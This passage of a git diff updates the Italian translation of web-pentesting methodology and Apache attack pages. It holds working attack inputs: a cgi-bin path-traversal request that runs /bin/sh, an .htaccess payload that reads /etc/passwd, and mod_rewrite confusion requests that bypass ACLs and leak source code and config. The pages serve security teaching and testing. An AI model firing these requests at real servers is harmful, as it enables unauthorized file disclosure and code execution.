WebDav**](put-method-webdav.md)**)** -Se trovi che **WebDav** è **enabled** ma non hai sufficienti permessi per **uploading files** nella cartella root prova a: +Se scopri che **WebDav** è **abilitato** ma non hai permessi sufficienti per **caricare file** nella cartella root, prova a: - **Brute Force** credentials -- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. +- **Caricare file** via WebDav nelle **altre** **cartelle trovate** all'interno della pagina web. Potresti avere i permessi per caricare file in altre directory. ### **SSL/TLS vulnerabilites** -- Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerable to MitM** -- Se l'applicazione sta **inviando dati sensibili (passwords) usando HTTP**. Allora è una high vulnerability. +- Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM** +- Se l'applicazione **invia dati sensibili (password) usando HTTP**. Allora è una vulnerabilità critica. -Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilities** (In Bug Bounty programs probabilmente questo tipo di vulnerabilities non verrà accettato) e usa [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare la presenza di **vulnerabilità** (Nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non verrà accettato) e usa [**a2sv** ](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,35 +202,35 @@ Informazioni sulle vulnerabilità SSL/TLS: ### Spidering -Avvia una sorta di **spider** all'interno del web. Lo scopo dello **spider** è **trovare quanti più percorsi possibile** dell'applicazione testata. Perciò, web crawling e fonti esterne dovrebbero essere usate per trovare il maggior numero possibile di percorsi validi. +Avvia una sorta di **spider** sul web. L'obiettivo dello spider è **trovare quanti più percorsi possibile** dall'applicazione testata. Perciò, web crawling e fonti esterne dovrebbero essere usate per trovare il maggior numero possibile di percorsi validi. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile -- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. -- [**subjs**](https://github.com/lc/subjs) (go): Find JS files. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder nei file JS e in fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, con LinkFinder per file JS e Archive.org come fonte esterna. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indica anche i "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Cerca anche in Archive.org. +- [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi indicare un file con hosts e un file con path e meg scaricherà ogni path su ogni host e salverà la risposta. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacità di rendering JS. Tuttavia, sembra non essere mantenuto, la versione precompilata è vecchia e il codice attuale non compila. +- [**gau**](https://github.com/lc/gau) (go): HTML spider che usa provider esterni (wayback, otx, commoncrawl). +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacità di rendering JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, con capacità di JS beautify in grado di cercare nuovi percorsi nei file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia dal sorgente HTML che dai file javascript incorporati. Utile per bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che usa Tornado e JSBeautifier per parsare URL relative dai file JavaScript. Utile per scoprire facilmente richieste AJAX. Sembra non essere mantenuto. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà URL da esso usando espressioni regolari per trovare ed estrarre URL relative da file minificati. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi tools): Raccoglie informazioni interessanti dai file JS usando diversi strumenti. +- [**subjs**](https://github.com/lc/subjs) (go): Trova file JS. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli url caricati per caricare la pagina. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di content discovery che combina varie opzioni dei tool precedenti. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una estensione per Burp per trovare path e param nei file JS. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, dato l'URL .js.map, restituisce il codice JS beatificato. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Strumento per scoprire endpoint per un target dato. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scopri link dalla wayback machine (scaricando anche le risposte nella wayback e cercando altri link). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando form) e trova anche info sensibili usando regex specifiche. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un advance multi-feature GUI web security Crawler/Spider progettato per professionisti della cyber security. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un package Go e uno [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URLs, path, secrets e altri dati interessanti dal codice sorgente JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **Burp Suite extension** per **estrarre i parametri e gli endpoint** dalle richieste per creare wordlist personalizzate per fuzzing e enumerazione. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Ottimo strumento per questo. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare. ### Brute Force directories and files @@ -244,10 +243,10 @@ Tools: - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) -- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. +- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, elimina gli URL "duplicati". +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension per creare una lista di directory dalla history di Burp di diverse pagine. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su import JS). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer per rilevare le tecnologie usate e selezionare le wordlist da usare. **Recommended dictionaries:** @@ -268,22 +267,22 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Notare che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, questa dovrebbe essere brute-forced._ +_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -- **File Backups**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Variazioni comuni per il nome di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti negli HTML che potrebbero essere suscettibili di takeover. +- **File Backups**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Varianti comuni per il naming di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Discover new parameters**: Puoi usare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, prova a cercare** parametri nascosti in ogni file web eseguibile. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Comments:** Controlla i commenti di tutti i file, potresti trovare **credentials** o **funzionalità nascoste**. -- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. -- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. -- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html). +- Se stai giocando un **CTF**, un trucco "comune" è **nascondere** **informazioni** nei commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** così non vedi i dati se apri il sorgente con il browser). Un'altra possibilità è usare **diverse nuove linee** e **nascondere informazioni** in un commento in fondo alla pagina web. +- **API keys**: Se **trovi una API key** esiste una guida che indica come usare API keys di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Se trovi una API key che inizia come **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi usare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per verificare quali APIs la key può accedere. +- **S3 Buckets**: Mentre esegui lo spidering verifica se qualche **subdomain** o qualche **link** è collegato a un **S3 bucket**. In tal caso, [**check** the **permissions** of the bucket](buckets/index.html). ### Special findings @@ -291,18 +290,18 @@ _Notare che ogni volta che viene scoperta una nuova directory durante brute-forc **Interesting files** -- Look for **links** to other files inside the **CSS** files. +- Cerca **link** ad altri file all'interno dei file **CSS**. - [If you find a _**.git**_ file some information can be extracted](git.md) -- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. -- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. -- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** -- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. +- Se trovi un _**.env**_ informazioni come api keys, password db e altre informazioni possono essere trovate. +- Se trovi **API endpoints** dovresti anche testarle ([web-api-pentesting.md]). Queste non sono file, ma probabilmente "sembra" che lo siano. +- **JS files**: Nella sezione spidering sono stati menzionati diversi tool che possono estrarre path dai file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni una modifica può indicare che è stata introdotta una potenziale vulnerabilità nel codice. Puoi usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.** +- Dovresti anche verificare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per vedere se sono vulnerabili. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) -- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. +- In molte occasioni, avrai bisogno di **comprendere le regular expressions** usate. Questo sarà utile: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex) +- Potresti anche **monitorare i file dove sono stati rilevati form**, poiché una modifica nei parametri o la comparsa di un nuovo form potrebbe indicare una nuova funzionalità potenzialmente vulnerabile. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,17 +312,17 @@ _Notare che ogni volta che viene scoperta una nuova directory durante brute-forc **502 Proxy Error** -If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. +Se una pagina **risponde** con quel **codice**, probabilmente è un **proxy** mal configurato. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'header Host e altri header comuni), il **proxy** tenterà di **accedere** a _**google.com**_ **e avrai trovato una** SSRF. **NTLM Authentication - Info disclosure** -If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ -**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ -You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". +Se il server che richiede l'autenticazione è **Windows** o trovi una login che chiede le tue **credentials** (e chiede il **domain** **name**), puoi provocare una **information disclosure**.\ +**Invia** l'**header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e, a causa di come funziona l'**NTLM authentication**, il server risponderà con info interne (versione IIS, versione Windows...) nell'header "WWW-Authenticate".\ +Puoi **automatizzare** questo usando il **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. +È possibile **mettere contenuto** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** lì. ### Web Vulnerabilities Checking @@ -342,7 +341,7 @@ Find more info about web vulns in: ### Monitor Pages for changes -You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. +Puoi usare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare pagine e rilevare modifiche che potrebbero introdurre vulnerabilità. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 8e781e8b9..a667029c2 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Estensioni PHP eseguibili -Verifica quali estensioni sta eseguendo il server Apache. Per cercarle puoi eseguire: +Controlla quali estensioni vengono eseguite dal server Apache. Per cercarle puoi eseguire: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Inoltre, alcuni posti in cui è possibile trovare questa configurazione sono: +Inoltre, alcuni posti dove puoi trovare questa configurazione sono: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,14 +21,14 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## LFI via .htaccess ErrorDocument file provider (ap_expr) +## LFI tramite il provider ErrorDocument file di .htaccess (ap_expr) Se puoi controllare il .htaccess di una directory e AllowOverride include FileInfo per quel percorso, puoi trasformare le risposte 404 in letture arbitrarie di file locali usando la funzione ap_expr file() all'interno di ErrorDocument. - Requisiti: -- Apache 2.4 con parser di espressioni (ap_expr) abilitato (default in 2.4). -- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo). -- L'utente worker di Apache deve avere permessi di lettura sul file di destinazione. +- Apache 2.4 con expression parser (ap_expr) abilitato (default in 2.4). +- Il vhost/dir deve permettere al .htaccess di impostare ErrorDocument (AllowOverride FileInfo). +- L'utente worker di Apache deve avere permessi di lettura sul file target. .htaccess payload: ```apache @@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Si verifica richiedendo qualsiasi percorso non esistente sotto quella directory, per esempio quando si abusa di userdir-style hosting: +Si attiva richiedendo qualsiasi non-existing path sotto quella directory, ad esempio quando si abusa di userdir-style hosting: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` Notes and tips: -- Funzionano solo i percorsi assoluti. Il contenuto viene restituito come response body per il 404 handler. +- Funzionano solo percorsi assoluti. Il contenuto viene restituito come corpo della response per il 404 handler. - I permessi di lettura effettivi sono quelli dell'utente Apache (tipicamente www-data/apache). Non potrai leggere /root/* o /etc/shadow nelle configurazioni di default. -- Anche se .htaccess è root-owned, se la directory padre è tenant-owned e permette il rename, potresti essere in grado di rinominare il .htaccess originale e caricare il tuo sostituto via SFTP/FTP: +- Anche se .htaccess è root-owned, se la directory padre è tenant-owned e permette la rename, potresti essere in grado di rinominare il .htaccess originale e caricare il tuo sostituto via SFTP/FTP: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Usa questo per leggere il source dell'applicazione sotto DocumentRoot o i percorsi di configurazione vhost per raccogliere segreti (DB creds, API keys, ecc.). +- Usalo per leggere il sorgente dell'applicazione sotto DocumentRoot o i percorsi di config vhost per raccogliere secret (DB creds, API keys, etc.). ## Confusion Attack -These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. L'attacco "confusion" sostanzialmente abusa del fatto che le decine di module che lavorano insieme per creare un Apache non sono perfettamente sincronizzate: la modifica di dati inaspettati da parte di alcuni di essi può causare una vulnerabilità in un modulo successivo. +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. ### Filename Confusion #### Truncation -Il **`mod_rewrite`** tronca il contenuto di `r->filename` dopo il carattere `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Questo non è del tutto sbagliato, dato che la maggior parte dei moduli tratterà `r->filename` come un URL. Ma in altre occasioni sarà trattato come un percorso di file, il che può causare un problema. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. -- **Path Truncation** +### Path Truncation -È possibile abusare di `mod_rewrite` come nel seguente esempio di regola per accedere ad altri file all'interno del file system, rimuovendo l'ultima parte del percorso previsto aggiungendo semplicemente un `?`: +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -74,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Mislead RewriteFlag Assignment** +- **Fuorviare l'assegnazione di RewriteFlag** -Nella seguente rewrite rule, fintanto che l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere `?` caricando nel path un tipo di file diverso (come un'immagine) con codice php malevolo al suo interno: +Nella seguente rewrite rule, finché l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere `?` caricando nel percorso un tipo di file diverso (ad esempio un'immagine) contenente codice php malevolo: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -È possibile accedere a file che l'utente non dovrebbe poter visualizzare anche se l'accesso dovrebbe essere negato da configurazioni come: +È possibile accedere a file ai quali l'utente non dovrebbe poter accedere, anche se l'accesso dovrebbe essere negato da configurazioni come: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Ciò accade perché, per impostazione predefinita, PHP-FPM riceverà URL che terminano con `.php`, come `http://server/admin.php%3Fooo.php` e poiché PHP-FPM rimuoverà qualsiasi cosa dopo il carattere `?`, l'URL precedente permetterà di caricare /admin.php anche se la regola precedente lo proibiva. +Questo accade perché, per impostazione predefinita, PHP-FPM riceverà URL che terminano con `.php`, come `http://server/admin.php%3Fooo.php`, e poiché PHP-FPM rimuove tutto dopo il carattere `?`, l'URL precedente permetterà di caricare `/admin.php` anche se la regola precedente lo proibiva. -### Confusione con DocumentRoot +### Confusione su DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Un fatto curioso su Apache è che la rewrite precedente proverà ad accedere al file sia dal documentRoot che dalla root. Quindi, una richiesta a `https://server/abouth.html` verificherà la presenza del file in `/var/www/html/about.html` e in `/about.html` nel file system. Il che sostanzialmente può essere abusato per accedere a file nel file system. +Un fatto curioso su Apache è che la rewrite precedente tenterà di accedere al file sia da documentRoot che da root. Quindi, una richiesta a `https://server/abouth.html` controllerà la presenza del file in `/var/www/html/about.html` e `/about.html` nel file system. Il che, sostanzialmente, può essere abusato per accedere a file nel file system. #### **Divulgazione del codice sorgente lato server** -- **Rivelare il codice sorgente CGI** +- **Divulgare il codice sorgente CGI** -Basta aggiungere %3F alla fine perché avvenga il leak del codice sorgente di un modulo cgi: +Basta aggiungere %3F alla fine per leak il codice sorgente di un modulo cgi: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Divulgare PHP Source Code** +- **Divulgare il codice sorgente PHP** -Se un server ospita domini diversi e uno di essi è un dominio statico, questo può essere abusato per attraversare il file system e leak php code: +Se un server ha domini diversi con uno di questi che è un dominio statico, questo può essere sfruttato per attraversare il file system e leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -Il problema principale con l'attacco precedente è che, per impostazione predefinita, la maggior parte degli accessi al filesystem viene negata come in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +Il problema principale con l'attacco precedente è che, per impostazione predefinita, la maggior parte degli accessi al filesystem sarà negata, come nel [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) di Apache HTTP Server: ```xml AllowOverride None Require all denied ``` -Tuttavia, i sistemi operativi [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) per impostazione predefinita consentono `/usr/share`: +Tuttavia, i sistemi operativi [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) per impostazione predefinita consentono l'accesso a `/usr/share`: ```xml AllowOverride None Require all granted ``` -Pertanto, sarebbe possibile **abusare dei file situati all'interno di `/usr/share` in queste distribuzioni.** +Pertanto, sarebbe possibile **abusare dei file situati in `/usr/share` in queste distribuzioni.** **Local Gadget to Information Disclosure** -- **Apache HTTP Server** con **websocketd** può esporre lo script **dump-env.php** in **/usr/share/doc/websocketd/examples/php/**, che può causare il leak di variabili d'ambiente sensibili. -- Server con 